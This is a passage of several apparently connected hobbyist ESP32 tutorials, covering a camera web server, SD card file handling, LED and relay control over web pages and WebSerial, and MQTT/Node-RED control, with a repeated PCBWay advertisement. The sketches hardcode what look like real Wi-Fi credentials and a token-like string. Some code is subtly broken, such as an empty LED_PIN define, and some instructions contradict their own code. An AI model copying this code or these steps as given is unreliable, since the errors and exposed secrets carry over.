cable, which can be easily plugged in or unplugged. The camera sensor can be mounted on the board using the provided screws, or placed anywhere you want using the extension cable. To capture and display images, you need to use the CameraWebServer example sketch from the Arduino IDE. This sketch will create a web server on the Xiao esp32 s3 sense, which will allow you to access the camera stream from any web browser on your local network. You can also take snapshots and save them to the SD card or the flash memory. To use the CameraWebServer sketch, you need to follow these steps: Open the Arduino IDE and select the Xiao esp32 s3 sense board from the Tools menu. Go to File > Examples > ESP32 > Camera > CameraWebServer and open the sketch. In the sketch, find the line that says #define CAMERA_MODEL_AI_THINKER and uncomment it. This will select the correct camera model for the Xiao ESP32 s3 sense. #include "esp_camera.h" #include <WiFi.h> #define CAMERA_MODEL_XIAO_ESP32S3 // Has PSRAM #include "camera_pins.h" // =========================== // Enter your WiFi credentials // =========================== const char* ssid = "ELDRADO"; const char* password = "amazon123"; void startCameraServer(); void setupLedFlash(int pin); void setup() { Serial.begin(115200); while(!Serial); Serial.setDebugOutput(true); Serial.println(); camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; config.ledc_timer = LEDC_TIMER_0; config.pin_d0 = Y2_GPIO_NUM; config.pin_d1 = Y3_GPIO_NUM; config.pin_d2 = Y4_GPIO_NUM; config.pin_d3 = Y5_GPIO_NUM; config.pin_d4 = Y6_GPIO_NUM; config.pin_d5 = Y7_GPIO_NUM; config.pin_d6 = Y8_GPIO_NUM; config.pin_d7 = Y9_GPIO_NUM; config.pin_xclk = XCLK_GPIO_NUM; config.pin_pclk = PCLK_GPIO_NUM; config.pin_vsync = VSYNC_GPIO_NUM; config.pin_href = HREF_GPIO_NUM; config.pin_sscb_sda = SIOD_GPIO_NUM; config.pin_sscb_scl = SIOC_GPIO_NUM; config.pin_pwdn = PWDN_GPIO_NUM; config.pin_reset = RESET_GPIO_NUM; config.xclk_freq_hz = 20000000; config.frame_size = FRAMESIZE_UXGA; config.pixel_format = PIXFORMAT_JPEG; // for streaming //config.pixel_format = PIXFORMAT_RGB565; // for face detection/recognition config.grab_mode = CAMERA_GRAB_WHEN_EMPTY; config.fb_location = CAMERA_FB_IN_PSRAM; config.jpeg_quality = 12; config.fb_count = 1; // if PSRAM IC present, init with UXGA resolution and higher JPEG quality // for larger pre-allocated frame buffer. if(config.pixel_format == PIXFORMAT_JPEG){ if(psramFound()){ config.jpeg_quality = 10; config.fb_count = 2; config.grab_mode = CAMERA_GRAB_LATEST; } else { // Limit the frame size when PSRAM is not available config.frame_size = FRAMESIZE_SVGA; config.fb_location = CAMERA_FB_IN_DRAM; } } else { // Best option for face detection/recognition config.frame_size = FRAMESIZE_240X240; #if CONFIG_IDF_TARGET_ESP32S3 config.fb_count = 2; #endif } // camera init esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t * s = esp_camera_sensor_get(); // initial sensors are flipped vertically and colors are a bit saturated if (s->id.PID == OV3660_PID) { s->set_vflip(s, 1); // flip it back s->set_brightness(s, 1); // up the brightness just a bit s->set_saturation(s, -2); // lower the saturation } // drop down frame size for higher initial frame rate if(config.pixel_format == PIXFORMAT_JPEG){ s->set_framesize(s, FRAMESIZE_QVGA); } // Setup LED FLash if LED pin is defined in camera_pins.h #if defined(LED_GPIO_NUM) setupLedFlash(LED_GPIO_NUM); #endif WiFi.begin(ssid, password); WiFi.setSleep(false); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); startCameraServer(); Serial.print("Camera Ready! Use 'http://"); Serial.print(WiFi.localIP()); Serial.println("' to connect"); } void loop() { // Do nothing. Everything is done in another task by the web server delay(10000); } In the sketch, find the line that says const char* ssid = "your-ssid"; and replace your-ssid with the name of your Wi-Fi network. Do the same for the line that says const char* password = "your-password"; and replace your-password with the password of your Wi-Fi network. Upload the sketch to the Xiao esp32 s3 sense and open the serial monitor. You should see the IP address of the web server, such as http://192.168.1.100. Open any web browser on your computer or smartphone and enter the IP address of the web server. You should see the camera stream and some buttons and options on the web page. Adjusting the Resolution and Orientation The xiao esp32 s3 sense can capture images at different resolutions, ranging from 160x120 to 1600x1200. You can change the resolution from the web page by selecting one of the options from the drop-down menu. The higher the resolution, the better the image quality, but the slower the frame rate and the more memory usage. You can also change the orientation of the camera from the web page by clicking on the buttons that say “Flip” or “Rotate”. The flip button will flip the image horizontally, while the rotate button will rotate the image 90 degrees clockwise. Using the Webcam Web Application The Xiao esp32 s3 sense can also be used as a webcam for your computer. It allows you to use the camera sensor as a video input device for any software that supports webcams, such as Skype, Zoom, OBS, etc. To use the webcam web application, you need to follow these steps: Install and run the VLC on your computer. You should see a window with a preview of the camera stream and some settings. In the settings, enter the IP address of the web server, such as http://192.168.1.100:81/stream. Click on the “Start” button to start the webcam service. Open any software that supports webcams and select the Xiao esp32 s3 sense as the video input device. You should see the camera stream on the software. Storing and Accessing Data The Xiao esp32 s3 sense comes with an SD card slot that can support microSD cards up to 32GB. The SD card slot can be used to store and access data, such as images, videos, audio, text, etc. You can also use the SD card as secondary storage for your programs, libraries, or data files. Before using the SD card on the Xiao ESP32 s3 sense, you need to format the SD card to FAT32 format. This is the most compatible and widely used format for SD cards. You can use any tool or software that can format SD cards to FAT32 format, such as the SD Card Formatter, the Disk Management tool on Windows, the Disk Utility tool on Mac, etc. After formatting the SD card, you need to insert the SD card into the SD card slot on the Xiao ESP32 s3 sense. Please note the direction of insertion, the side with the gold finger should face inward. The SD card slot has a spring mechanism that will lock the SD card in place. To eject the SD card, you need to press the SD card gently and release it. To store and access data on the SD card, you need to use the SD library from the Arduino IDE. This library provides functions to create, read, write, delete, and list files and directories on the SD card. You can also use the File object to manipulate the files and directories on the SD card. #include "FS.h" #include "SD.h" #include "SPI.h" void listDir(fs::FS &fs, const char * dirname, uint8_t levels){ Serial.printf("Listing directory: %s\n", dirname); File root = fs.open(dirname); if(!root){ Serial.println("Failed to open directory"); return; } if(!root.isDirectory()){ Serial.println("Not a directory"); return; } File file = root.openNextFile(); while(file){ if(file.isDirectory()){ Serial.print(" DIR : "); Serial.println(file.name()); if(levels){ listDir(fs, file.path(), levels -1); } } else { Serial.print(" FILE: "); Serial.print(file.name()); Serial.print(" SIZE: "); Serial.println(file.size()); } file = root.openNextFile(); } } void createDir(fs::FS &fs, const char * path){ Serial.printf("Creating Dir: %s\n", path); if(fs.mkdir(path)){ Serial.println("Dir created"); } else { Serial.println("mkdir failed"); } } void removeDir(fs::FS &fs, const char * path){ Serial.printf("Removing Dir: %s\n", path); if(fs.rmdir(path)){ Serial.println("Dir removed"); } else { Serial.println("rmdir failed"); } } void readFile(fs::FS &fs, const char * path){ Serial.printf("Reading file: %s\n", path); File file = fs.open(path); if(!file){ Serial.println("Failed to open file for reading"); return; } Serial.print("Read from file: "); while(file.available()){ Serial.write(file.read()); } file.close(); } void writeFile(fs::FS &fs, const char * path, const char * message){ Serial.printf("Writing file: %s\n", path); File file = fs.open(path, FILE_WRITE); if(!file){ Serial.println("Failed to open file for writing"); return; } if(file.print(message)){ Serial.println("File written"); } else { Serial.println("Write failed"); } file.close(); } void appendFile(fs::FS &fs, const char * path, const char * message){ Serial.printf("Appending to file: %s\n", path); File file = fs.open(path, FILE_APPEND); if(!file){ Serial.println("Failed to open file for appending"); return; } if(file.print(message)){ Serial.println("Message appended"); } else { Serial.println("Append failed"); } file.close(); } void renameFile(fs::FS &fs, const char * path1, const char * path2){ Serial.printf("Renaming file %s to %s\n", path1, path2); if (fs.rename(path1, path2)) { Serial.println("File renamed"); } else { Serial.println("Rename failed"); } } void deleteFile(fs::FS &fs, const char * path){ Serial.printf("Deleting file: %s\n", path); if(fs.remove(path)){ Serial.println("File deleted"); } else { Serial.println("Delete failed"); } } void testFileIO(fs::FS &fs, const char * path){ File file = fs.open(path); static uint8_t buf[512]; size_t len = 0; uint32_t start = millis(); uint32_t end = start; if(file){ len = file.size(); size_t flen = len; start = millis(); while(len){ size_t toRead = len; if(toRead > 512){ toRead = 512; } file.read(buf, toRead); len -= toRead; } end = millis() - start; Serial.printf("%u bytes read for %u ms\n", flen, end); file.close(); } else { Serial.println("Failed to open file for reading"); } file = fs.open(path, FILE_WRITE); if(!file){ Serial.println("Failed to open file for writing"); return; } size_t i; start = millis(); for(i=0; i<2048; i++){ file.write(buf, 512); } end = millis() - start; Serial.printf("%u bytes written for %u ms\n", 2048 * 512, end); file.close(); } void setup(){ Serial.begin(115200); while(!Serial); if(!SD.begin(21)){ Serial.println("Card Mount Failed"); return; } uint8_t cardType = SD.cardType(); if(cardType == CARD_NONE){ Serial.println("No SD card attached"); return; } Serial.print("SD Card Type: "); if(cardType == CARD_MMC){ Serial.println("MMC"); } else if(cardType == CARD_SD){ Serial.println("SDSC"); } else if(cardType == CARD_SDHC){ Serial.println("SDHC"); } else { Serial.println("UNKNOWN"); } uint64_t cardSize = SD.cardSize() / (1024 * 1024); Serial.printf("SD Card Size: %lluMB\n", cardSize); listDir(SD, "/", 0); createDir(SD, "/mydir"); listDir(SD, "/", 0); removeDir(SD, "/mydir"); listDir(SD, "/", 2); writeFile(SD, "/hello.txt", "Hello "); appendFile(SD, "/hello.txt", "World!\n"); readFile(SD, "/hello.txt"); deleteFile(SD, "/foo.txt"); renameFile(SD, "/hello.txt", "/foo.txt"); readFile(SD, "/foo.txt"); testFileIO(SD, "/test.txt"); Serial.printf("Total space: %lluMB\n", SD.totalBytes() / (1024 * 1024)); Serial.printf("Used space: %lluMB\n", SD.usedBytes() / (1024 * 1024)); } void loop(){ } Here is the serial terminal response. Wrap-Up: In this article, I have shown how to use the Xiao Esp32 S3 Sense Camera and SD card future. Hope you guys found this helpful. Will see you another one. Bye.
  7. In this tutorial, you will learn how to create a web server with ESP32 that can control an LED from any device connected to the same WiFi network. You will use the Arduino IDE to program the ESP32 and the web browser to access the web server. What You Need To follow this tutorial, you need the following components: An ESP32 development board A USB cable to connect the ESP32 to the computer The Arduino IDE installed on your computer The ESP32 add-on for the Arduino IDE Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. How It Works The ESP32 will act as a web server that can serve HTML and CSS files to web clients (such as web browsers or smartphones). The web page will have a button that can send an HTTP request to the ESP32 to turn the LED on or off. The ESP32 will also handle the HTTP requests from the web clients and respond accordingly. For example, if the ESP32 receives a request to turn the LED on, it will set the GPIO pin connected to the LED to HIGH and send back a confirmation message. ESP32 Code The code for the ESP32 is also straightforward. You need to include the WiFi.h and ESPAsyncWebServer.h libraries, which are used to connect the ESP32 to the WiFi network and to create the web server. You also need to define the WiFi credentials, the GPIO pin for the LED, and the web server object. Then, you need to create a function to generate the HTML and CSS code for the web page, which will have a button to toggle the LED state. Next, you need to create a function to connect the ESP32 to the WiFi network and print the IP address to the serial monitor. You also need to create a function to handle the HTTP requests from the web clients and change the LED state accordingly. Finally, you need to initialize the LED pin, the WiFi connection, and the web server in the setup() function, and keep the web server running in the loop() function. The complete code is shown below: #include <WiFi.h> #include <ESPAsyncWebServer.h> // WiFi credentials #define WIFI_SSID "Your WiFi SSID" #define WIFI_PASSWORD "Your WiFi Password" // LED pin #define LED_PIN // Web server object AsyncWebServer server(80); // LED state int LED_state = LOW; // Function to generate the HTML and CSS code for the web page String getHTML() { String html = "<!DOCTYPE HTML>"; html += "<html>"; html += "<head>"; html += "<style>"; html += "body {background-color: #F0F0F0; font-family: Arial, Helvetica, sans-serif;}"; html += "h1 {color: #333333; text-align: center;}"; html += "button {width: 150px; height: 50px; font-size: 20px; margin: 10px;}"; html += "</style>"; html += "</head>"; html += "<body>"; html += "<h1>ESP32 Web Server</h1>"; html += "<p>LED state: <span style='color: red;'>"; if (LED_state == LOW) html += "OFF"; else html += "ON"; html += "</span></p>"; html += "<button onclick=\"window.location.href='/led/on'\">Turn ON</button>"; html += "<button onclick=\"window.location.href='/led/off'\">Turn OFF</button>"; html += "</body>"; html += "</html>"; return html; } // Function to connect to WiFi network void connectWiFi() { Serial.print("Connecting to WiFi..."); WiFi.begin(WIFI_SSID, WIFI_PASSWORD); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } // Function to handle HTTP requests void handleRequest(AsyncWebServerRequest *request) { // Get the request path String path = request->url(); // Check if the request is to turn the LED on if (path == "/led/on") { // Set the LED pin to HIGH digitalWrite(LED_PIN, HIGH); // Update the LED state LED_state = HIGH; // Send a confirmation message request->send(200, "text/plain", "LED turned on"); } // Check if the request is to turn the LED off else if (path == "/led/off") { // Set the LED pin to LOW digitalWrite(LED_PIN, LOW); // Update the LED state LED_state = LOW; // Send a confirmation message request->send(200, "text/plain", "LED turned off"); } // Otherwise, send the web page else { // Get the HTML and CSS code String html = getHTML(); // Send the web page request->send(200, "text/html", html); } } void setup() { // Initialize the serial monitor Serial.begin(115200); // Initialize the LED pin pinMode(LED_PIN, OUTPUT); digitalWrite(LED_PIN, LED_state); // Connect to WiFi network connectWiFi(); // Start the web server server.onNotFound(handleRequest); server.begin(); } void loop() { // Nothing to do here } Testing the Web Server To test the web server, you need to upload the code to the ESP32 board and open the serial monitor. You should see the IP address of the ESP32, which is something like 192.168.1.8 Then, you need to open a web browser on your computer or smartphone and enter the IP address of the ESP32. You should see the web page with the button to control the LED. You can click the button to toggle the LED state and see the confirmation message on the web browser. Conclusion In this tutorial, you learned how to create a web server with ESP32 that can control an LED from any device connected to the same WiFi network. You learned how to use the WiFi.h and ESPAsyncWebServer.h libraries to connect the ESP32 to the WiFi network and to create the web server. You also learned how to generate the HTML and CSS code for the web page and how to handle the HTTP requests from the web clients. You can use this tutorial as a basis for your own projects that involve controlling GPIO pins or other devices with the ESP32 web server. You can also customize the web page design and functionality to suit your needs. I hope you enjoyed this tutorial and found it useful. If you have any questions or feedback, please let me know. 😊
  8. Introduction The ESP32 is a versatile and inexpensive microcontroller that has taken the hobbyist and professional world by storm. It’s a powerful tool with built-in Wi-Fi and Bluetooth capabilities, making it an ideal choice for Internet of Things (IoT) projects. One of its many features is the ability to communicate over serial, which can be extended to the web using WebSerial. This blog post will delve into setting up an ESP32 with WebSerial. Understanding WebSerial WebSerial is a web standard that allows websites to communicate with serial devices. It bridges the web and the physical world, enabling web applications to interact with hardware devices. This opens up a world of possibilities for IoT projects, allowing real-time interaction between web applications and physical devices. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Setting Up the ESP32 Before we can use WebSerial with the ESP32, we need to set up the ESP32 development environment. Here are the steps: Install the Arduino IDE: The Arduino IDE is a popular platform for writing and uploading code to the ESP32. You can download it from the official Arduino website. Install the ESP32 Board in Arduino IDE: You can add the ESP32 board to the Arduino IDE by going to File > Preferences > Additional Boards Manager URLs and adding the ESP32 board manager URL. This will allow the Arduino IDE to recognize the ESP32 board and provide the appropriate options for programming it. Select the ESP32 Board: Go to Tools > Board > ESP32 Arduino and select your ESP32 board. This tells the Arduino IDE that you will be programming an ESP32 board. Install WebSerial for ESP32 Next, we need to install the WebSerial library. Here’s how: Go to Sketch > Include Library > Manage Libraries. In the search bar, type WebSerial. Click Install. Programming the ESP32 for WebSerial Once the ESP32 is set up, we can write a program to enable WebSerial communication. Here’s a simple example: /* WebSerial Demo ------ This example code works for both ESP8266 & ESP32 Microcontrollers WebSerial is accessible at your ESP's <IPAddress>/webserial URL. Author: Ayush Sharma Checkout WebSerial Pro: https://webserial.pro */ #include <Arduino.h> #if defined(ESP8266) #include <ESP8266WiFi.h> #include <ESPAsyncTCP.h> #elif defined(ESP32) #include <WiFi.h> #include <AsyncTCP.h> #endif #include <ESPAsyncWebServer.h> #include <WebSerial.h> #define Relay 2 AsyncWebServer server(80); const char* ssid = "ELDRADO"; // Your WiFi SSID const char* password = "amazon123"; // Your WiFi Password /* Message callback of WebSerial */ void recvMsg(uint8_t *data, size_t len){ WebSerial.println("Received Data..."); String d = ""; for(int i=0; i < len; i++){ d += char(data[i]); } WebSerial.println(d); if (d == "ON"){ digitalWrite(Relay, HIGH); } if (d=="OFF"){ digitalWrite(Relay, LOW); } } void setup() { Serial.begin(115200); pinMode(Relay, OUTPUT); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); if (WiFi.waitForConnectResult() != WL_CONNECTED) { Serial.printf("WiFi Failed!\n"); return; } Serial.print("IP Address: "); Serial.println(WiFi.localIP()); // WebSerial is accessible at "<IP Address>/webserial" in browser WebSerial.begin(&server); /* Attach Message Callback */ WebSerial.msgCallback(recvMsg); server.begin(); } void loop() { } in this above sketch, I have added a relay control part with GPIO Pin2, if the serial input data is "ON" the really will on if it's "OFF" it will turn off the relay. Once you upload the code to ESP32, look for the serial terminal to know the IP address of the ESP32. In my case here is the response. Final Results Open the IP with /WebSerial in the end. In this type ON and OFF and look at the ESP32. Conclusion The ESP32 with WebSerial opens up a world of possibilities for IoT projects. By bridging the gap between the web and the physical world, we can create interactive, real-time applications that communicate with hardware devices. Whether you’re a hobbyist or a professional developer, the ESP32 with WebSerial is a powerful tool in your IoT toolkit. With this detailed guide, you should now have a solid understanding of how to set up and use the ESP32 with WebSerial. Happy coding!
  9. The ESP32, a low-cost microcontroller with integrated Wi-Fi and Bluetooth capabilities, has become a popular choice for IoT applications due to its power and affordability. One intriguing application is the creation of a web server. This blog post will provide a step-by-step guide on how to implement a web server on the ESP32. Understanding the Basics What is a Web Server? A web server is a software application that serves web pages to users. When a user requests a web page, the web server processes the request and sends the requested page back to the user’s browser. This forms the backbone of data communication on the World Wide Web. What is ESP32? The ESP32 is a series of low-cost, low-power systems on a chip microcontroller with integrated Wi-Fi and dual-mode Bluetooth. The ESP32 series employs a Tensilica Xtensa LX6 microprocessor and includes built-in antenna switches, an RF balun, a power amplifier, a low-noise receiver amplifier, filters, and power management modules. It is suitable for a wide variety of applications, from low-power sensor networks to more demanding tasks such as music streaming. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Step-by-Step Guide to Implementing a Web Server on ESP32 Step 1: Setting Up the Environment Before we delve into the implementation, we need to set up the ESP32 development environment. This involves installing the ESP32 board definitions in the Arduino IDE and connecting the ESP32 to your computer via a USB cable. The Arduino IDE provides a comfortable coding environment and makes it easy to upload programs to the board. Step 2: Including the Necessary Libraries The first step in our implementation is to include the necessary libraries. We’ll need the WiFi.h library for connecting the ESP32 to a Wi-Fi network and the ESPAsyncWebServer.h library for handling HTTP requests. These libraries provide the necessary functions and methods to establish a Wi-Fi connection and to set up a web server. #include <WiFi.h> #include <ESPAsyncWebServer.h> Step 3: Defining the Wi-Fi Credentials Next, we need to define our Wi-Fi credentials. Replace your_SSID and your_PASSWORD with your actual Wi-Fi SSID and password. These credentials will be used to connect the ESP32 to your local Wi-Fi network. const char* ssid = "your_SSID"; const char* password = "your_PASSWORD"; Step 4: Setting Up the Web Server Now we can set up our web server. We’ll create an instance of the AsyncWebServer class and define a route. The server will listen on port 80, which is the default port for HTTP. The route is defined by the URL that the user types into their browser. In this case, the root URL (“/”) will return a simple text message. // Define a route to serve the HTML page server.on("/", HTTP_GET, [](AsyncWebServerRequest* request) { Serial.println("ESP32 Web Server: New request received:"); // for debugging Serial.println("GET /"); // for debugging request->send(200, "text/html", "<html><body><h1>Hello, ESP32!</h1></body></html>"); }); Step 5: Connecting to Wi-Fi Before we can start our web server, we need to connect the ESP32 to Wi-Fi. The WiFi.begin() function is used to connect to the Wi-Fi network. We then wait until the ESP32 is successfully connected before proceeding. WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi..."); } Serial.println(WiFi.localIP()); Step 6: Starting the Web Server Finally, we can start our web server. The server.begin() function is used to start the server. Once the server is started, it will listen for incoming HTTP requests and respond accordingly. server.begin(); Step 7: Deployment Just upload the code to the ESP32 board and look for the serial monitor results. #include <WiFi.h> #include <ESPAsyncWebServer.h> const char* ssid = "ELDRADO"; // CHANGE IT const char* password = "amazon123"; // CHANGE IT AsyncWebServer server(80); void setup() { Serial.begin(9600); // Connect to Wi-Fi WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi..."); } Serial.println("Connected to WiFi"); // Print the ESP32's IP address Serial.print("ESP32 Web Server's IP address: "); Serial.println(WiFi.localIP()); // Define a route to serve the HTML page server.on("/", HTTP_GET, [](AsyncWebServerRequest* request) { Serial.println("ESP32 Web Server: New request received:"); // for debugging Serial.println("GET /"); // for debugging request->send(200, "text/html", "<html><body><h1>Hello, ESP32!</h1></body></html>"); }); // Start the server server.begin(); } void loop() {} Here is the serial monitor result: Next, navigate to the particular IP address in the web browser and look for the response. Wrapping Up Congratulations! You’ve just implemented a simple web server on the ESP32. You can now access this server from any device connected to the same Wi-Fi network by entering the ESP32’s IP address into a web browser. This is just the beginning - you can expand this server to control GPIO pins, read sensor data, and much more. The possibilities are endless.
  10. Introduction In this tutorial, you will learn how to use Node-RED, a visual programming tool for the Internet of Things (IoT), to control an LED on an ESP32 board with a Raspberry Pi as the MQTT broker. MQTT is a lightweight and simple messaging protocol that allows devices to communicate with each other over a network. You will need the following components for this project: ESP32 development board USB cable to connect the ESP32 to your computer Raspberry Pi with Node-RED Computer with Arduino IDE and PubSubClient library installed Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step 1: Create a Device on Qubitro The first step is to create a device on the Qubitro platform. A device represents your physical device (Raspberry Pi) on the cloud. You need to create a device to obtain the MQTT credentials and topics for your Raspberry Pi. To create a device on Qubitro, follow these steps: 1. Log in to your Qubitro account and create a new project 2. Then go to the Devices page, select MQTT as the communication protocol, and click Next. 3. Enter all the details. 4. Copy the Device ID, Device Token, Hostname, Port, Publish Topic, and Subscribe Topic. You will need these values later in the code. Click Finish. You have successfully created a device on Qubitro. You can see your device on the Devices page. Step 2: Flash ESP32 with Arduino IDE The ESP32 is a powerful and versatile microcontroller that can run Arduino code. You will use the Arduino IDE to program the ESP32 and make it communicate with the MQTT broker using the PubSubClient library. To install the ESP32 board in Arduino IDE, you can follow the instructions in this tutorial or use the steps below: Open the preferences window from the Arduino IDE: File > Preferences. Go to the “Additional Board Manager URLs” field and enter the following URL: https://dl.espressif.com/dl/package_esp32_index.json. Open Boards Manager (Tools > Board > Boards Manager), search for ESP32, and click the install button for the “ESP32 by Espressif Systems”. Select your ESP32 board from Tools > Board menu after installation. Open the library manager from Sketch > Include Library > Manage Libraries. Search for PubSubClient and click the install button for the “PubSubClient by Nick O’Leary”. Restart your Arduino IDE after installation. Step 3: Connect LED to ESP32 The LED is a simple device that emits light when current flows through it. You will connect the LED to one of the GPIO pins of the ESP32 and control its state (on or off) with MQTT messages. In my case I'm going to use the onboard LED in the ESP32 Dev board. Step 4: Write Code for ESP32 The code for the ESP32 will do the following tasks: Connect to your Wi-Fi network Connect to the Qubitro MQTT broker on Raspberry Pi Receive messages from “output” and turn on or off the LED accordingly You can copy and paste the code below into your Arduino IDE. Make sure to replace <your_ssid>, <your_password>, <your_Qubtro_Credientials> with your own values. #include <WiFi.h> #define DEBUG_SW 1 #include <PubSubClient.h> //Relays for switching appliances #define Relay1 2 int switch_ON_Flag1_previous_I = 0; // Update these with values suitable for your network. const char* ssid = "ELDRADO"; const char* password = "amazon123"; const char* mqtt_server = "broker.qubitro.com"; // Local IP address of Raspberry Pi const char* username = ""; const char* pass = ""; // Subscribed Topics #define sub1 "output" WiFiClient espClient; PubSubClient client(espClient); unsigned long lastMsg = 0; #define MSG_BUFFER_SIZE (50) char msg[MSG_BUFFER_SIZE]; int value = 0; // Connecting to WiFi Router void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } randomSeed(micros()); Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* payload, unsigned int length) { Serial.print("Message arrived ["); Serial.print(topic); Serial.print("] "); if (strstr(topic, sub1)) { for (int i = 0; i < length; i++) { Serial.print((char)payload[i]); } Serial.println(); // Switch on the LED if an 1 was received as first character if ((char)payload[0] == 'f') { digitalWrite(Relay1, LOW); // Turn the LED on (Note that LOW is the voltage level // but actually the LED is on; this is because // it is active low on the ESP-01) } else { digitalWrite(Relay1, HIGH); // Turn the LED off by making the voltage HIGH } } else { Serial.println("unsubscribed topic"); } } // Connecting to MQTT broker void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Create a random client ID String clientId = "ESP8266Client-"; clientId += String(random(0xffff), HEX); // Attempt to connect if (client.connect(clientId.c_str() , username, pass)) { Serial.println("connected"); // Once connected, publish an announcement... client.publish("outTopic", "hello world"); // ... and resubscribe client.subscribe(sub1); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void setup() { pinMode(Relay1, OUTPUT); Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void loop() { if (!client.connected()) { reconnect(); } client. Loop(); } After writing the code, upload it to your ESP32 board by selecting the right board and port from the Tools menu and clicking the upload button. Step 5: Create Node-RED Flow The Node-RED flow will do the following tasks: Connect to the MQTT broker on Raspberry Pi Subscribe to a topic named “output” Publish messages “true” or “false” to a topic named “output” Create a dashboard with a button and a text node You can create the Node-RED flow by dragging and dropping nodes from the palette and connecting them with wires. You can also import the flow from this link or use the JSON code below: [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "4ce6cd876fd5441f", "type": "mqtt out", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "", "retain": "", "respTopic": "", "contentType": "", "userProps": "", "correl": "", "expiry": "", "broker": "6d40b7b21c734b53", "x": 870, "y": 240, "wires": [] }, { "id": "974a7a8bb6db9bf9", "type": "mqtt in", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "2", "datatype": "auto-detect", "broker": "6d40b7b21c734b53", "nl": false, "rap": true, "rh": 0, "inputs": 0, "x": 670, "y": 320, "wires": [ [ "d0dc7378c7bfb03b", "f1219a2eeabe825f" ] ] }, { "id": "d0dc7378c7bfb03b", "type": "debug", "z": "eb8f9c0d054be30c", "name": "debug 4", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 880, "y": 320, "wires": [] }, { "id": "6bd227b280e372b7", "type": "ui_switch", "z": "eb8f9c0d054be30c", "name": "", "label": "Light One", "tooltip": "", "group": "cd687a95.00e108", "order": 0, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 680, "y": 240, "wires": [ [ "4ce6cd876fd5441f" ] ] }, { "id": "f1219a2eeabe825f", "type": "ui_text", "z": "eb8f9c0d054be30c", "group": "cd687a95.00e108", "order": 1, "width": "6", "height": "2", "name": "", "label": "Status : ", "format": "{{msg.payload}}", "layout": "row-center", "x": 1060, "y": 320, "wires": [] }, { "id": "6d40b7b21c734b53", "type": "mqtt-broker", "name": "Qubitro Downlink", "broker": "broker.qubitro.com", "port": "1883", "clientid": "", "autoConnect": true, "usetls": false, "protocolVersion": "4", "keepalive": "60", "cleansession": true, "autoUnsubscribe": true, "birthTopic": "r43MsJYzcVwZtUXVfZo6XD0Ym7CRegewPQXMt$ho", "birthQos": "0", "birthPayload": "", "birthMsg": {}, "closeTopic": "", "closeQos": "0", "closePayload": "", "closeMsg": {}, "willTopic": "", "willQos": "0", "willPayload": "", "willMsg": {}, "userProps": "", "sessionExpiry": "" }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "ESP32 Home Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] The input switch will send "true" when it is on, and it will send "false" when it triggers off. Then click on the 